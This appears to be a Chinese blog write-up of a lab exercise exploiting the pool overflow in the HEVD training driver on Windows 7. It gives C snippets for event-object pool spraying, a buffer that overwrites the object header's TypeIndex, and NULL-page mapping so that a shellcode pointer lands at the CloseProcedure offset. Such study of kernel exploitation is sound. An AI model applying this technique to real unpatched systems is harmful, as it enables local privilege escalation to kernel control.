HEVD-第四部分-池溢出

前言

文章参考:https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/
其中池的概念看那个论文也可以,CSDN上也有人翻译了:https://blog.csdn.net/qq_38025365/article/details/106259634

开始操作

查看漏洞点

通过ExAllocatePoolWithTag函数申请内存
然后可以通过查看源码(也可以通过IDA):在这里插入图片描述
IOCTL:0x22200f(根据code803算的)

测试程序

然后编写程序测试:

	DWORD bytesRetn;
	char buf[100];
	memset(buf, 'a', strlen(buf)*sizeof(char));
	DeviceIoControl(hDevice, POOL_OVERFLOW_IO_CODE, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);

在这里插入图片描述
调整大小之后试试:
在这里插入图片描述

利用思路

将shellcode放在哪?
触发条件?

由于漏洞缓冲区是在事件对象之间,所以这里通过将shellcode放在CloseProcedure的地址上,这样只要调用CloseProcedure,就可以执行shellcode了

那怎么找到CloseProcedure在哪呢?如下分析

详细信息

使用指令!pool +address 可以看该地址周围的池信息
在这里插入图片描述

从图中可以看到池的大小为: 870a39c8 -870a37c8 =0x200
因为就像堆一样,,池首占8个字节
使用命令 dt _pool_header可以查看池首
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B

在这里插入图片描述
图中标绿的就是下一个池的池首,也就是等会我们要修改的地方
然后我们可以使用createEvent来创建事件
其结构如下,而且其大小刚好为0x40刚好可以铺满我们整个池0x200

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

我们将喷射大量 Event 对象,将它们的句柄存储在数组中,并查看它如何影响我们的池:
所谓堆喷射(Heap spray)指的就是通过大量分配内存来填充进程地址空间以便于进一步利用的手段。

HANDLE Event_OBJECT[0x1000];
	for (size_t i = 0; i < 0x1000; i++)
	{
		Event_OBJECT[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
	}

在这里插入图片描述
可以发现内核池已经被铺成我们想要的样子了,然后就是制造空洞大小都是0x200,free状态(这一块我搞了好久,都是因为变量类型的错误,还有就是0x40要八个才能铺成0x200…)

for (size_t i = 0; i < 0x500; i++)
	{
		Event_Object2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
	}

	for (size_t i = 0; i < 0x1000; i++)
	{
		Event_Object1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
	}
	
	
	for (size_t i = 0; i < 0x1000; i++)
	{
		// 0x40 * 8 = 0x200
		for (size_t j = 0; j < 8; j++) {
			CloseHandle(Event_Object1[i + j]);
		}
		i += 8;
	}

在这里插入图片描述
查看数据,下一块池的大小0x40
在这里插入图片描述
然后使用命令dt nt!_object_header* 可以查看win7都是用了哪些对象结构(win7之前之后的结构都不太一样)

dt nt!_object_header*

在这里插入图片描述
Win7的_OBJECT_HEADER不再有NameInfoOffset、HandleInfoOffset和QuotaInfoOffset来指示从_POOL_HEADER到_OBJECT_HEADER这一段神秘的可变长空间。占据这三个偏移位置的三个成员分别为:TypeIndex、TraceFlags和InfoMask。在这里插入图片描述
其中typeIndex保存的是Object_type的索引,同时通过**ObGetObjectType()**返回Object_type对象指针
TyoeIndex也是我们需要的
InfoMask:掩码
OB_INFOMASK_QUOTA 0x8
OB_INFOMASK_HANDLE 0x4
OB_INFOMASK_NAME 0x2
OB_INFOMASK_PROCESS 0x1
这点是参考如下博客:参考链接https://blog.csdn.net/xiaoxinjiang/article/details/5362827
然后根据掩码我们可以知道使用的是_OBJECT_HEADER_QUOTA_INFO
NonPagedPoolCharge字段表示的是池的大小
同时_OBJECT_HEADER_QUOTA_INFO占0x10
所以偏移0x18就是Object_header

在这里插入图片描述
使用dt _OBJECT_HEADER 871ee6c0 +18查看结构在这里插入图片描述
然后看一下ObGetObjectType()函数,发现是从一个表中取的

u ObGetObjectType

然后查看表中的内容找到偏移C处的地址为86aebb58
在这里插入图片描述
然后查看_OBJECT_TYPE: dt _object_type 86aebb58
在这里插入图片描述
然后展开TypeInfo的内容
在这里插入图片描述
看到CloseProcedure的偏移量变为0x28 + 0x38 = 0x60
这个偏移位置也就是等会我们要将shellcode覆盖到这的位置,然后调用CloseProcedure()最终执行我们的shellcode

在这里插入图片描述
同时可以看到第一个指针是空指针,所以也就是需要把0xc偏移改为0,也就是typeIndex=0,好让我们在0偏移处写上地址,然后在该地址的0x60处填上shellcode地址
在0偏移处写上地址(也就是在空页面写地址),可以使用NtAllocateVirtualMemory调用映射 NULL 页面

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

然后使用WriteProcessMemory调用将指向我们的 shellcode 的指针写入所需的位置(0x60)

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

那我们需要溢出多少字节呢?只需要覆盖到TypeIndex就行了,也就是0xc(Type_Index偏移)+0x10(_OBJECT_HEADER_QUOTA_INFO)+0x8(pool_header)+4(Type_Index位置)=0x28

编写exp

let’s go

…中间调试蓝屏好几次
修改TypeIndex

int temp1[10] = { 0x04080040 ,0xee657645 ,0x00000000 ,0x00000040,0x00000000,0x00000000,00000001,00000001 ,0x00000000,0x00080000 };
	for (size_t i = 0; i < 10; i++)
	{
		memcpy(&buf[PoolSize+4*i], &(temp1[i]), 0x4);
	}

在这里插入图片描述
1073741819 (0xC0000005)的问题,说明申请0页内存失败了…
在这里插入图片描述

//申请失败时候的代码
	//NtAllocateVirtualMemory = (My_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL)
	{
		printf("[-]Failed to get function NtAllocateVirtualMemory!!!\n");
		system("pause");
		return 0;
	}
	printf("[+]successed to get function NtAllocateVirtualMemory\n\n");

	printf("[+]Started to alloc zero page...\n");
	PVOID BaseAddress = (PVOID)1;
	PULONG RegionSize = (PULONG)0x3000;
	NTSTATUS status;
	status = NtAllocateVirtualMemory(
		GetCurrentProcess(),
		&BaseAddress,
		0,
		RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE);//STATUS_SUCCESS =0

	printf("[+++]status is %d,ZeroAddress is %p\n\n", status, BaseAddress);
	if ((status != 0) || (BaseAddress != NULL))
	{
		printf("[-]Failed to alloc zero page!!!\n");
		system("pause");
		return 0;
	}

修改之后
在这里插入图片描述
修改参考代码

在这里插入图片描述
在这里插入图片描述
可以看到shellcode已经写入到该地址了

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值